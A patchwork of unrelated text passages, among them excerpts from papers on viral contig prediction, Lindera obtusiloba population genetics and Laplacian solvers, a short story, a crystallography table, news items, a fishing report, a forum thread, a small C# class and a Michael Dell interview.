combinations, respectively, which are undefined (VirSorter TPR was 0%), 30 and 13 times higher than VirSorter's TPRs. For contig lengths 1000--3000 and \>3000 bp, both methods had higher TPRs. VirSorter's TPRs were 2.5 and 19% for 1000--3000 and \>3000 bp, respectively, using categories I and II. At the same controlled FPR, VirFinder's had TPRs of 7.4 and 67%, or 3.0 and 3.5 times higher than VirSorter's TPRs.Fig. 5Evaluation of VirFinder (VF) and VirSorter (VS) predictions on contigs for 3 length ranges assembled from 20 M reads simulated human gut metagenomes at 50% viral level. *Bars* depict true prediction rates (TPRs) for VirSorter category I; I and II; and I, II, and III predictions. As in Fig. [2](#Fig2){ref-type="fig"}, VirFinder predictions were evaluated at the same false positive rates (FPR) as corresponding VirSorter results. Thirty replicate bootstrap samples of contigs assembled from simulated metagenomes were tested for each condition. Metagenomes were simulated based on the relative abundance of complete virus and host genomes found in a real human gut metagenome. The *horizontal bar* displays the median, *boxes* display the first and third quartiles, and *whiskers* depict minimum and maximum values. *Asterisk* indicates VirFinder's TPRs are significantly larger than VirSorter's (Wilcoxon signed-rank one-sided test, *p* \< 10^−4^) Viral prediction performance was also evaluated using unbalanced fractions of viral and host contigs. Overall, VirFinder's TPRs were significantly higher than VirSorter's TPRs for all 3 ranges of contig length, all 3 VirSorter category combinations considered, and all datasets with different viral fractions (*p* ≤ 10--3) (Additional file [1](#MOESM1){ref-type="media"}: Figure S5). Performances were also evaluated when parsing the results for all contigs \>500 bp or all contigs \>1000 bp. The simulated assembled contig dataset contained on average 41% 500--1000 bp contigs, 38% 1000--3000 bp contigs, and 20% \>3000 bp contigs. When considering all contigs \>500 bp, VirFinder had significantly greater TPRs than VirSorter except when comparing category I or category I and II VirSorter results with 10% viral samples and when comparing category I and II VirSorter results with 50% viral samples (Additional file [1](#MOESM1){ref-type="media"}: Figure S6). When considering all contigs \>1000 bp, however, VirFinder had significantly higher TPRs than VirSorter under all scenarios at equivalent FPRs (Additional file [1](#MOESM1){ref-type="media"}: Figure S6). Example application: identification and analysis of viral communities in human gut metagenomes from a liver cirrhosis study {#Sec10} --------------------------------------------------------------------------------------------------------------------------- We applied the VirFinder tool to study real human gut metagenomes of healthy and liver cirrhosis patients. Qin et al. \[[@CR36]\] previously reported the alteration of human gut microbiomes associated with liver cirrhosis. Their analysis only focused on the bacterial microbiome by mapping reads to reference bacterial genomes. Roughly 40% of the reads were unaligned, indicating that the remaining reads represent unknown bacterial or archaea or more importantly prokaryotic viruses. We reanalyzed the Qin et al. dataset using VirFinder (and VirSorter) to identify viruses in these metagenomes and any potential differences in the prokaryotic viromes of healthy and diseased patients. Reads from 40 healthy and 38 liver cirrhosis patients, comprising 316 Gb of total sequence data were cross-assembled. Only the resulting 325,020 contigs that were \>1000 bp in length were retained to achieve high prediction accuracy. The majority (76%) of contigs were 1000--3000 bp long (Additional file [1](#MOESM1){ref-type="media"}: Figure S7). VirSorter predicted 2657 contigs as viral using category levels I and II. To make fair comparisons, we also analyzed the 2657 contigs with the highest VirFinder scores. The false positive rate for these VirFinder contigs was estimated at 15% using *q* values estimated by the positive false discovery rate (pFDR) method \[[@CR37], [@CR38]\]. Contigs were binned using COCACOLA \[[@CR39]\] based on *k*-mer frequencies and abundance patterns across samples to group similar contigs. This produced 86 and 116 bins for VirSorter and VirFinder contigs, respectively. The abundance profiles of contig bins across 78 samples of health and diseased patients were used to train classification models to distinguish health status. The logistic regression model with lasso regularization was used in order to enhance the prediction accuracy and interpretability. These models were then tested on an independent set of 230 samples from the same study \[[@CR36]\] using ROC curves and AUROC scores. Model results using VirFinder binned contigs had a larger AUROC score, 0.87, than those for VirSorter bins, 0.77. The ROC curve for VirFinder was above that of VirSorter for most of the plot (Fig. [6](#Fig6){ref-type="fig"}). The high AUROC scores demonstrate that virome data mined by virus prediction software can predict with good confidence the health status of patients. The ROC results furthermore indicate that viral contigs predicted by VirFinder can better distinguish between healthy individuals and liver cirrhosis patients.Fig. 6ROC curves and AUROC scores for classifying healthy and liver cirrhosis patients based on abundance profiles of predicted viral contig bins. The models were trained using averaged bin coverage (averaged RPKM of contigs in the bin) of 78 samples of health and diseased patients and then tested on an independent set of 230 samples from the same study. Each set of 2657 viral contigs predicted by VirFinder and VirSorter were separately binned based on sequence tetranucleotide frequencies and contig coverages normalized by contig length and number of mapped reads in samples. The *numbers* in the square brackets are the lower and upper 2.5% quantiles Similarity searches of contigs and their predicted proteins against NCBI's non-redundant nucleotide (nt) or protein (nr) databases were conducted to determine if contigs and bins do not have any similarity to previously known sequences and thus potentially represent novel viral sequences. Searches against nt and nr assessed if contigs are closely or distantly related to known sequences, respectively. Only 12% of contigs were ≥95% similar to another bacterial or viral sequence in the nt database (requiring an *E* value \<1e^−10^ for ≥100 bp). It has recently been suggested that virus species distinguish from each other by \~95% nucleotide identity \[[@CR40]\] thus the majority

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IBE), and historical climatic instability (IBI) with respect to multiple population genetic distance indices of both nSSRs and cpDNA markers in the overall range (overall) of *Lindera obtusiloba* and two subregions (NEA and SEA) within this range Regions Genetic divergence β~Total~ β~IBD~ β~IBE~ β~IBI~ --------------- -------------------------------------------------- --------------------------------------------------- -------------------------------------------------- --------------------------------------------------- ------------------------------------------------- Overall nSSRs *F~ST~* 0.6227[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0577[\*](#ece36200-note-0001){ref-type="fn"} −0.0468[\*\*](#ece36200-note-0002){ref-type="fn"} 0.123[\*\*](#ece36200-note-0002){ref-type="fn"} *R~ST~* 0.5898[\*\*](#ece36200-note-0002){ref-type="fn"} 0.1035[\*\*](#ece36200-note-0002){ref-type="fn"} −0.0261 0.1308[\*\*](#ece36200-note-0002){ref-type="fn"} Overall cpDNA *G~ST~* 0.4056[\*](#ece36200-note-0001){ref-type="fn"} −0.1445[\*](#ece36200-note-0001){ref-type="fn"} 0.0932[\*](#ece36200-note-0001){ref-type="fn"} 0.0924 *N~ST~* 0.3746[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0169 0.0791[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0178 *D~xy~* 0.4211[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0006[\*\*](#ece36200-note-0002){ref-type="fn"} −0.0001 0.0002 NEA nSSRs *F~ST~* 0.6503[\*](#ece36200-note-0001){ref-type="fn"} 0.0229 −0.0002 0.0525 *R~ST~* 0.6101[\*](#ece36200-note-0001){ref-type="fn"} −0.0794[\*\*](#ece36200-note-0002){ref-type="fn"} −0.0065 0.2067[\*\*](#ece36200-note-0002){ref-type="fn"} NEA cpDNA *G~ST~* 0.454 −0.1195 0.0316 0.2689 *N~ST~* 0.4534 −0.1369 0.0344 0.3404 *D~xy~* 0.4464 0.0002 −0.0001 0.0000 SEA nSSRs *F~ST~* 0.4064[\*](#ece36200-note-0001){ref-type="fn"} −0.0118 −0.0443[\*](#ece36200-note-0001){ref-type="fn"} 0.1153[\*](#ece36200-note-0001){ref-type="fn"} *R~ST~* 0.4710[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0126 −0.0844[\*](#ece36200-note-0001){ref-type="fn"} 0.2226[\*\*](#ece36200-note-0002){ref-type="fn"} SEA cpDNA *G~ST~* 0.3587 −0.1422 0.0393 0.1706 *N~ST~* 0.4062[\*](#ece36200-note-0001){ref-type="fn"} 0.0411 0.0282 0.0546 *D~xy~* 0.5961[\*\*](#ece36200-note-0002){ref-type="fn"} 0.0010[\*\*](#ece36200-note-0002){ref-type="fn"} −0.0001 −0.0005 .01 \< *p* \< .05; *p* \< .01. John Wiley & Sons, Ltd Both the Mantel test and MMRR analysis indicated a significantly positive relationship between climatic instability resistance and *F~ST~*/*R~ST~* (Mantel: *F~ST~*: *r* = .3279, *p* = .0064; *R~ST~*: *r* = .4237, *p* = .0004; MMRR: *F~ST~*: β = 0.1153, *p* = .0393; *R~ST~*: β = 0.2226, *p* = .0017; Table [1](#ece36200-tbl-0001){ref-type="table"}; Appendix [S7](#ece36200-sup-0005){ref-type="supplementary-material"}), which is indicative of a strong IBI pattern. Geographical distance showed a significantly positive relationship with *R~ST~* based on the Mantel test, whereas we were unable to detect any significant relationships when performing MMRR analysis. In contrast, environmental distance showed a significant negative relationship with both *F~ST~* (β = −0.0443, *p* = .0402) and *R~ST~* (β = −0.0844, *p* = .0227) based on the MMRR analysis, whereas significant relationships were detected using the Mantel test. The contrasting patterns for geographical and environmental distances identified using the Mantel test and MMRR analysis may indicate the weak effects of these two factors on the nuclear genetic patterns in the SEA region. For the NEA region, the weak IBI pattern we identified may be attributable to the fact that only *R~ST~* showed a relatively consistent IBI pattern. Although the Mantel test did not identify significant relationships for *R~ST~*, with respect to geographical and environmental distances, it indicates a marginally significant positive relationship with climatic instability resistance (*r* = .2657; *p* = .0784; Appendix [S8](#ece36200-sup-0005){ref-type="supplementary-material"}), whereas MMRR analysis identified a positive relationship with climatic instability resistance (β = 0.2067; *p* = .0071) and a negative relationship with geographical distance (β = −0.0794; *p* = .0021; Table [1](#ece36200-tbl-0001){ref-type="table"}). With respect to *F~ST~*, the Mantel test indicated a significant positive relationship with both geographical distance (*r* = .5920, *p* = .0135) and climatic instability resistance (*r* = .5817, *p* = .0003), whereas MMRR analysis failed to identify any significant relationships for the three distance indices. Thus, on the basis of the present analyses, we were unable to identify any clear patterns in IBD or IBE in the NEA region. 3.3. IBD, IBE, and IBI in cpDNA {#ece36200-sec-0011} ------------------------------- Our analyses of the chloroplast genome revealed differences in the correlation patterns of the three genetic distance indices throughout the entire distribution range of *L. obtusiloba*. Using the Mantel test, we found that genetic distance *D~xy~*, which indicates divergence since the last common ancestor between populations, was significantly correlated with the three factors (Figure [4](#ece36200-fig-0004){ref-type="fig"}), with the highest correlation value observed for geographical distance (*r* = .4108, *p* = .0001). MMRR analysis revealed that *D~xy~* was only influenced by geographical distance (β = 0.0006, *p* = .0007; Table [1](#ece36200-tbl-0001){ref-type="table"}). Genetic distance *N~ST~* takes into account both the allele frequency between populations and allele genetic distance, and was found to be significantly correlated with the three factors in the Mantel test, with the highest correlation value (*r* = .3607, *p* = .0001) being identified for environmental distance (Appendix [S6](#ece36200-sup-0005){ref-type="supplementary-

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"I'd be afraid if I were alone." "It makes me feel strange. But I'm not afraid." "I said that first." "I know. Maybe we say it because we are afraid." "No. I'm not afraid because I'm with you. But I know I'd be afraid alone. Did you ever come here with anyone else?" "No. Only by myself." "And you weren't afraid?" "No. But I always feel strange. Like the way I ought to feel in church." "Nickie, where we're going to live isn't as solemn as this, is it?" "No. Don't you worry. There it's cheerful. You just enjoy this, Littless. This is good for you. This is the way forests were in the olden days. This is about the last good country there is left. Nobody gets in here ever." "I love the olden days. But I wouldn't want it all this solemn." "It wasn't all solemn. But the hemlock forests were." "It's wonderful walking. I thought behind our house was wonderful. But this is better. Nickie, do you believe in God? You don't have to answer if you don't want to." "I don't know." "All right. You don't have to say it. But you don't mind if I say my prayers at night?" "No. I'll remind you if you forget." "Thank you. Because this kind of woods makes me feel awfully religious." "That's why they build cathedrals to be like this." "You've never seen a cathedral, have you?" "No. But I've read about them and I can imagine them. This is the best one we have around here." "Do you think we can go to Europe some time and see cathedrals?" "Sure we will. But first I have to get out of this trouble and learn how to make some money." "Do you think you'll ever make money writing?" "If I get good enough." "Couldn't you maybe make it if you wrote cheerfuller things? That isn't my opinion. Our mother said everything you write is morbid." "It's too morbid for the _St. Nicholas_," Nick said. "They didn't say it. But they didn't like it." "But the _St. Nicholas_ is our favorite magazine." "I know," said Nick. "But I'm too morbid for it already. And I'm not even grown-up." "When is a man grown-up? When he's married?" "No. Until you're grown-up they send you to reform school. After you're grown-up they send you to the penitentiary." "I'm glad you're not grown-up then." "They're not going to send me anywhere," Nick said. "And let's not talk morbid even if I write morbid." "I didn't say it was morbid." "I know. Everybody else does, though." "Let's be cheerful, Nickie," his sister said. "These woods make us too solemn." "We'll be out of them pretty soon," Nick told her. "Then you'll see where we're going to live. Are you hungry, Littless?" "A little." "I'll bet," Nick said. "We'll eat a couple of apples." They were coming down a long hill when they saw sunlight ahead through the tree trunks. Now, at the edge of the timber there was wintergreen growing and some partridge berries and the forest floor began to be alive with growing things. Through the tree trunks they saw an open meadow that sloped to where white birches grew along the stream. Below the meadow and the line of the birches there was the dark green of a cedar swamp and far beyond the swamp there were dark blue hills. There was an arm of the lake between the swamp and the hills. But from here they could not see it. They only felt from the distances that it was there. "Here's the spring," Nicl: said to his sister. "And here's the stones where I camped before." "It's a beautiful, beautiful place, Nickie," his sister said. "Can we see the lake, too?" "There's a place where we can see it. But it's better to camp here. I'll get some wood and we'll make breakfast." "The firestones are very ald." "It's a very old place," Nick said. "The firestones are Indian." "How did you come to it straight through the woods with no trail and no blazes?" "Didn't you see the direction sticks on the three ridges?" "No." "I'll show them to you sometime." "Are they yours?" "No. They're from the old days." "Why didn't you show them to me?" "I don't know," Nick said. "I was showing off I guess." "Nickle, they'll never find us here." "I hope not," Nick said. At about the time that Nick and his sister were entering the first of the slashings the warden who was sleeping on the screen porch of the house that stood in the shade of the trees above the lake was wakened by the sun that, rising above the slope of open land behind the house, shone full on his face. During the night the warden had gotten up for a drink of water and when he had come back from the kitchen he had lain down on the floor with a cushion from one of the chairs for a pillow. Now he waked, realized where he was, and got to his feet. He had slept on his right side because he had a.38 Smith and Wesson revolver in a shoulder holster under his left armpit. Now, awake, he felt for the gun, looked away from the sun, which hurt his eyes, and went into the kitchen where he dipped up a drink of water from the pail beside the kitchen table. The hired girl was building a fire in the stove and the warden said to her, "What about some breakfast?" "No breakfast," she said. She slept in a cabin out behind the house and had come into the kitchen a half an hour before. The sight of the warden lying on the floor of the screen porch and the nearly empty bottle of whiskey on the table had frightened and disgusted her. Then it had made her angry. "What do you mean, no breakfast?" the warden said, still holding the dipper. "Just that." "Why?" "Nothing to eat." "What about coffee?" "No coffee." "Tea?" "No tea. No bacon. No corn meal. No salt. No pepper. No coffee. No Borden's canned cream. No Aunt Jemima buckwheat flour. No nothing." "What are you talking about? There was plenty to eat last night." "There isn't now. Chipmunks must have carried it away." The warden from down-state had gotten up when he heard them talking and had come into the kitchen. "How do you feel this morning?" the hired girl asked him. The warden ignored the hired girl and said, "What is it, Evans?" "That son of a bitch came in here last night and got himself a pack load of grub." "Don't you swear in my kitchen," the hired girl said. "Come out here," the down-state warden said. They both went out on the screen porch and shut the kitchen door. "What does that mean, Evans?" the down-state man pointed at the quart of Old Green River which had less than a quarter left in it. "How skunk-drunk were you?" "I drank the same as you. I sat up by the table—" "Doing what?" "Waiting for the goddamn Adams boy if he showed." "And drinking." "Not drinking. Then I got up and went in the kitchen and got a drink of water about half past four and I lay down here in front of the door to take it easier." "Why didn't you lie down in front of the kitchen door?" "I could see him better from here if he came." "So what happened?" "He must have come in the kitchen, through a window maybe, and loaded that stuff." "Bullshit." "What were you doing?" the local warden asked. "I was sleeping the same as you." "Okay. Let's quit fighting about it. That doesn't do any good." "Tell that hired girl to come out here." The hired girl came out and the down-state man said to her, "You tell Mrs. Adams we want to speak to her." The hired girl did not say anything but went into the main part of the house, shutting the door after her. "You better pick up the full and the empty bottles," the down-state

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4κ*O*-2,3-dilithium-1,4-dititanium. Fractional atomic coordinates and isotropic or equivalent isotropic displacement parameters (Å^2^) {#d1e3100} ========================================================================================================================================================================================================================================================================================================================================================================================================== ------- --------------- -------------- -------------- -------------------- ------------ *x* *y* *z* *U*~iso~\*/*U*~eq~ Occ. (\<1) Ti1 −0.29130 (4) 0.27167 (4) 0.60831 (4) 0.03250 (17) Li1 −0.0775 (5) 0.3916 (4) 0.5292 (4) 0.0430 (11) Br1 0.13740 (19) 0.41263 (16) 0.4542 (4) 0.0495 (6) 0.674 (12) Br2 0.1396 (4) 0.4153 (4) 0.4281 (4) 0.0495 (6) 0.326 (12) O1 −0.4149 (2) 0.27962 (18) 0.57128 (16) 0.0442 (5) O2 −0.1909 (2) 0.34242 (17) 0.48909 (15) 0.0430 (5) O3 −0.15594 (17) 0.27994 (15) 0.64078 (14) 0.0342 (4) N1 −0.3643 (2) 0.39751 (19) 0.68255 (18) 0.0357 (5) H1 −0.323 (4) 0.448 (4) 0.664 (3) 0.048 (11)\* N2 −0.3823 (2) 0.17604 (18) 0.73599 (17) 0.0343 (5) N3 −0.2387 (2) 0.1146 (2) 0.5799 (2) 0.0414 (6) H3 −0.230 (4) 0.116 (4) 0.518 (4) 0.077 (15)\* C1 −0.4601 (3) 0.4005 (2) 0.7516 (2) 0.0386 (6) C2 −0.5434 (3) 0.3118 (2) 0.7792 (2) 0.0374 (6) C3 −0.5012 (3) 0.2035 (2) 0.7759 (2) 0.0366 (6) C4 −0.5854 (3) 0.1220 (3) 0.8087 (2) 0.0442 (7) H4A −0.5594 0.0483 0.8112 0.053\* C5 −0.7044 (3) 0.1470 (3) 0.8371 (3) 0.0511 (8) H5A −0.7586 0.0902 0.8585 0.061\* C6 −0.7471 (3) 0.2539 (3) 0.8352 (3) 0.0505 (8) C7 −0.6653 (3) 0.3340 (3) 0.8077 (2) 0.0423 (7) H7A −0.6929 0.4069 0.8081 0.051\* C8 −0.8773 (3) 0.2820 (3) 0.8636 (3) 0.0628 (11) H8A −0.8902 0.3486 0.8216 0.094\* H8B −0.9075 0.2932 0.9271 0.094\* H8C −0.9187 0.2226 0.8604 0.094\* C9 −0.4886 (3) 0.4914 (3) 0.8066 (2) 0.0448 (7) C10 −0.3744 (4) 0.5333 (3) 0.8038 (3) 0.0597 (10) H10A −0.3935 0.5906 0.8389 0.089\* H10B −0.3252 0.5626 0.7393 0.089\* H10C −0.3316 0.4735 0.8312 0.089\* C11 −0.5520 (5) 0.5852 (3) 0.7634 (3) 0.0677 (11) H11A −0.5704 0.6424 0.7986 0.102\* H11B −0.6251 0.5602 0.7643 0.102\* H11C −0.5015 0.6140 0.6992 0.102\* C12 −0.5613 (3) 0.4498 (3) 0.9095 (3) 0.0545 (8) H12A −0.5698 0.5069 0.9433 0.082\* H12B −0.5211 0.3861 0.9350 0.082\* H12C −0.6393 0.4300 0.9158 0.082\* C13 −0.2379 (3) 0.0185 (2) 0.6279 (2) 0.0453 (7) C14 −0.2662 (3) 0.0043 (2) 0.7277 (3) 0.0467 (8) C15 −0.3413 (3) 0.0789 (2) 0.7780 (2) 0.0409 (7) C16 −0.3732 (3) 0.0539 (3) 0.8745 (3) 0.0482 (8) H16A −0.4255 0.1022 0.9092 0.058\* C17 −0.3313 (3) −0.0384 (3) 0.9212 (3) 0.0587 (9) H17A −0.3539 −0.0519 0.9866 0.070\* C18 −0.2549 (4) −0.1125 (3) 0.8715 (3) 0.0649 (11) C19 −0.2254 (4) −0.0897 (3) 0.7786 (3) 0.062 (1) H19A −0.1742 −0.1396 0.7451 0.074\* C20 −0.2074 (5) −0.2153 (4) 0.9223 (4) 0.0935 (18) H20A −0.1799 −0.2683 0.8828 0.140\* H20B −0.2703 −0.2465 0.9800 0.140\* H20C −0.1419 −0.1968 0.9366 0.140\* C21 −0.2161 (5) −0.0767 (5) 0.5729 (5) 0.0342 (16)\* 0.6 C22 −0.2181 (5) −0.0386 (6) 0.4752 (5) 0.0452 (15)\* 0.6 H22A −0.1568 0.0145 0.4387 0.068\* 0.6 H22B −0.2035 −0.1009 0.4459 0.068\* 0.6 H22C −0.2952 −0.0050

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said he would include the teacher pay raise as part of his 2013 budget proposal. If the Legislature approves the extra money for teachers, local school boards would have the final say on how the money is spent. There are about 168,000 teachers statewide. In his first year as governor, Scott approved $1 billion in cuts to public school funding, but last year his budget included a $1 billion increase. He left it to local school boards to determine how much, if any, would go to pay raises. When factoring in recent pay cuts to Florida teachers, Chapman and Brady said the $2,500 for every teacher probably wouldn’t be much of a raise. They said teachers and all state employees had a 3 percent reduction in pay under the state’s pension reform in 2010. Couple that with the 2 percent increase in payroll taxes from Congress, and Chapman says that comes out to an average $2,300 less in pay. Is there a share to all button for Snapchat, Instagram, WhatsApp and other? - deepakravindran I am so fed up by recording across multiple apps to convey the same message out. Is there anyone who is doing a share to all button for stories? It will make life so easy! ====== jabv I think you're looking for WUPHF.com... [0] [0] [http://theoffice.wikia.com/wiki/WUPHF.com_(Website)](http://theoffice.wikia.com/wiki/WUPHF.com_$Website$) ------ askafriend Try [https://buffer.com](https://buffer.com) They've made rounds on HN for various reasons, some good and some not so good but their core business is to help content creators share on social media. --- abstract: 'A new method for solving Laplacian linear systems proposed by Kelner et al. involves the random sampling and update of fundamental cycles in a graph. Kelner et al. proved asymptotic bounds on the complexity of this method but did not report experimental results. We seek to both evaluate the performance of this approach and to explore improvements to it in practice. We compare the performance of this method to other Laplacian solvers on a variety of real world graphs. We consider different ways to improve the performance of this method by exploring different ways of choosing the set of cycles and the sequence of updates, with the goal of providing more flexibility and potential parallelism. We propose a parallel model of the Kelner et al. method, for evaluating potential parallelism in terms of the span of edges updated at each iteration. We provide experimental results comparing the potential parallelism of the fundamental cycle basis and our extended cycle set. Our preliminary experiments show that choosing a non-fundamental set of cycles can save significant work compared to a fundamental cycle basis.' author: - | Erik G. Boman\ \ \ Kevin Deweese\ \ \ John R. Gilbert\ \ \ bibliography: - 'drk.bib' title: Evaluating the Potential of a Dual Randomized Kaczmarz Solver for Laplacian Linear Systems --- Introduction ============ Graph Laplacians ---------------- The Laplacian matrix of a weighted, undirected graph is defined as $L=D-A$, where $D$ is the diagonal matrix containing the sum of incident edge weights and $A$ is the weighted adjacency matrix. The Laplacian is symmetric and positive semidefinite. The Laplacian is also defined for directed graphs [@AgaevChebotarev2005]. Because they are not symmetric, most of the solvers discussed in this paper do not apply, and efficient solution techniques remain an open problem. Solving linear systems on the Laplacians of structured graphs, such as two and three dimensional meshes, has long been important in finite element analysis (with applications in electrical and thermal conductivity, and fluid flow modeling [@BHV2008]) and image processing (with applications in image segmentation, inpainting, regression, and classification [@KMT2011; @McCannPollard2008; @Grady2006]). More recently, solving linear systems on the graph Laplacians of large graphs, with irregular degree distributions, has emerged as an important computational task in network analysis (with applications to maximum flow problems [@CKMST2011], graph sparsification [@SpielmanSrivastava2011], and spectral clustering [@KhoaChawla2015]). Most applied work on Laplacian solvers has been on preconditioned conjugate gradient (PCG) solvers, including support graph preconditioners [@GrembanPHD1996; @BGHNT2006; @BCHT2004], or on specialized multigrid methods [@LivneBrandt2012; @KMT2011]. Several of these methods seem efficient in practice, but none have asymptotic performance guarantees based on the size of the graph. The theoretical computer science community has developed several methods, which we refer to generally as combinatorial Laplacian solvers. These solvers have good complexity bounds but, in most cases, no reported experimental results. Spielman and Teng [@SpielmanTeng2004] first showed how to solve these problems in linear times polylogarithmic work, later improved upon by Koutis, Miller, and Peng [@KMP2010], but their algorithms do not yet have a practical implementation. An algorithm proposed by Kelner et al. [@KOSZ2013] has the potential to solve these linear systems in linear times polylogarithmic work with a simple, implementable algorithm. The Dual Randomized Kaczmarz Algorithm -------------------------------------- The inspiration for the algorithm proposed by Kelner et al. [@KOSZ2013], which we refer to as Dual Randomized Kaczmarz (DRK), is to treat graphs as electrical networks with resistors on the edges. For each edge, the weight is the inverse of the resistance. We can think of vertices as having an electrical potential and a net current at every vertex, and define vectors of these potentials and currents as $v$ and $f$ respectively. These vectors are related by the linear system $L v = f$. Solving this system is equivalent to finding the set of voltages that satisfies the net “injected” currents. Kelner et al.’s DRK algorithm solves this problem with an optimization algorithm in the dual space, which finds the optimal currents on all of the edges subject to the constraint of zero net voltage around all cycles. They use Kaczmarz projections [@Kaczmarz1937] to adjust currents on one cycle at a time, iterating until convergence. We will also refer to the Primal Randomized Kaczmarz (PRK) method that applies Kaczmarz projections in the primal space [@StrohmerVershynin2009]. One sweep of PRK performs a Kaczmarz projection with every row of the matrix. Rows are taken in random order at every sweep. DRK iterates over a set of *fundamental cycles*, cycles formed by adding individual edges to a spanning tree $T$. The fundamental cycles are a basis for the space of all cycles in the graph [@Diestel2010]. For each off-tree edge $e$, we define the resistance $R_e$ of the cycle $C_e$ that is formed by adding edge $e$ to the spanning tree as the sum of the resistances around the cycle, $$R_e = \sum_{e' \in C_e} r_{e'}$$ which is thought of as approximating the resistance of the off-tree edge $r_e$. DRK chooses cycles randomly, with probability proportional to $R_e/r_e$. The performance of the algorithm depends on the sum of these approximation ratios, a property of the spanning tree called the *tree condition number* $$\tau(T) = \sum_{e \in E \setminus T} \frac{R_e}{r_e}.$$ The number of iterations of DRK is proportional to the tree condition number. Kelner et al. use a particular type of spanning tree with low tree condition number, called a *low stretch tree*. Specifically, they use the one described by Abraham and Neiman [@AbrahamNeiman2012] with $\tau=O(m \log{n} \log{\log{n}})$, where $n$ refers to the number of vertices and $m$ refers to the number of edges of the original graph. The work of one iteration is naively the cycle length, but can be reduced to $O(\log{n})$ with a fast data structure, yielding $O(m \log{n}^2 \log{\log{n}})$ total work. Overview -------- The rest of the paper is organized as follows. In Section 2 we survey the related experimental work. Section 3 is an initial evaluation of the DRK algorithm as compared to PCG and PRK. We present our new ideas for improving the performance of DRK in Section 4. In this section we also consider how to perform cycle updates in parallel. Section 5 is an evaluation of the new ideas proposed in Section 4. Related Experimental Work ------------------------- As the DRK algorithm is a recent and theoretical result, there are few existing implementations or performance results. Hoske et al. implemented the DRK algorithm in C++ and did timing comparisons against unpreconditioned CG on two sets of generated graphs [@HLMW15]. They concluded that the solve time of DRK does scale nearly linearly. However, several factors make the running time too

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to be one of the best months for sailfishing. Eventually the fish will push through the area and right now they are coming through in some pretty big packs. In three trips last week we caught 30 sailfish. That averages to 10 sailfish per day. Double digits are hard to come by some years and we had two trips where we caught 11 sailfish per day. On one of those trips we had a triple on and while we had the tripleheader we hooked another sailfish and now had a quad. That being said, I fired out another bait and wouldn’t you know it, we now had 5 sailfish on at the same time and all with just 3 anglers. With a little bit of controlled chaos we managed to get releases on all 5 sailfish and didn’t lose any from that bunch. Big congrats to that group of guys for getting it done! The sailfish action has continued into this week and we had one trip going 7 for 7 (perfect score) and a few other with at least 4 sailfish per day. I see the sailfish action continuing well into May as these fish start to migrate out of Florida. With April upon us, we are now not just talking about sailfish, but a variety of species come into play. We have seen quite a few big kingfish as well as some mahis. For a while the cobia bite was really good, but that seems to have slowed down. We have caught quite a few mahis. The majority have been large schoolies but we did get some in the 20 to 25 pound range. The only fish missing this spring has been the blackfin tuna. Usually we start seeing the tunas by the beginning of April. The tuna bite is usually best in the late afternoon and I have had some late trips and have not seen them yet. Not to worry though, spring is their time and I’m sure they will show up soon. With summer quickly approaching, now is the time to start planning your trips to the Bahamas. The Bahamas offers quite a variety of fishing opportunities, and we can cater the trips to your specific needs. For starters the full moon on May, June and July offer outstanding mutton snapper fishing. May, June and July also have terrific yellowfin tuna fishing in the “channel”. Throughout the entire summer bottom fishing is hot and you can also troll for blue marlin and mahis all summer long. If I get enough interest I plan on going to Andros again and fishing for the tunas along the Autec buoys. Big mahis and wahoo as well as blue marlin are also part of the plan for Andros. If you are interested in a trip to the islands this summer, give me a shout and we can look at dates and fishing opportunities.Man Arrested for DUI in Jail Parking Lot… A Florida man who was arrested on a DUI charge made it easy for deputies after he was found passed out behind the wheel of a car at a jail parking lot, authorities said. Christopher Lindsey Smith, 29, was arrested at the Pasco County Jail in Land O’ Lakes Sunday night. He was released on bond Monday morning and it was unknown whether he has an attorney. Staff at the jail had gone to check on an unresponsive driver in a gold 2004 Chevy Impala when they found Smith inside with the keys in the ignition and the radio blaring, according to an arrest report obtained by WFLA. After several minutes of banging on the windows of the car, Smith woke up. Deputies could smell a strong odor of alcohol coming from the car and found an open container of beer in the cupholder, the report said. Smith admitted to having a “couple of beers” and said he was dropping a friend off at the jail, the report said. He refused a breath test but was arrested and booked into jail just a few feet away, deputies said.using Artemis.Core; using Artemis.UI.Shared; using Artemis.UI.Shared.Services; using SkiaSharp; namespace Artemis.UI.PropertyInput { public class SKColorPropertyInputViewModel : PropertyInputViewModel<SKColor> { private readonly DataBindingRegistration<SKColor, SKColor> _registration; public SKColorPropertyInputViewModel(LayerProperty<SKColor> layerProperty, IProfileEditorService profileEditorService) : base(layerProperty, profileEditorService) { _registration = layerProperty.GetDataBindingRegistration(value => value); } public bool IsEnabled => _registration.DataBinding == null; protected override void OnDataBindingsChanged() { NotifyOfPropertyChange(nameof(IsEnabled)); } } }Join Danielle O'Neill on a tour of the Northwest Territories Legislative Assembly in Yellowknife. Explore t... Join Danielle O'Neill on a tour of the Northwest Territories Legislative Assembly in Yellowknife. Explore the rich history and tradition behind this body of government -- and learn about its role in Canada today. Want to plan your trip to Canada? Visit http://www.canada.travelCEO Michael Dell: Being a Private Company 'Just Delightful' Two months after closing the $25 billion deal to take his company private, Michael Dell talks about the cloud, PCs and being free of Wall Street. AUSTIN, Texas—It was a confident, upbeat and energized Michael Dell moving about the Dell World 2013 show here this week. Addressing the thousands of customers, partners, analysts and journalists as the chairman and CEO of his newly private company, Michael Dell sounded like a man relieved to be rid of the pressures of Wall Street and shareholder scrutiny and eager to get going on building a Dell that will be a competitive enterprise IT solutions and services provider. Throughout the day Dec. 12, he spoke often about being able to "accelerate our strategy," "make bold moves" and "focus 100 percent on the customer." It wasn't easy getting to this point. Michael Dell announced in February that he and financial backer Silver Lake Partners wanted to take the almost $60 billion company private, but it took seven months of battling investors led by Carl Icahn for control of Dell—as well as bumping the price up to about $25 billion—before shareholders finally voted in favor of the deal. Now Michael Dell owns about three quarters of Dell, with Silver Lake owning the rest. With the sale behind them, the CEO and other company executives continue to transform Dell from a PC maker to an IT solutions provider. At the show, the vendor started to clarify its cloud strategy; unveiled new storage, networking and software offerings; and put more money toward investing in both in-house development and up-and-coming technology companies. During the show, Michael Dell sat down with eWEEK to talk about what going private will mean to his company and its customers, how he views Dell's role in the competitive cloud market and why PCs will remain an important part of the vendor's strategy. You've talked a lot about what going private will mean for your company. What can corporate customers and service providers expect to see? How will it benefit them? We can focus 100 percent on our customers so we don't have to focus on other things, shareholders, and that allows us to make bold 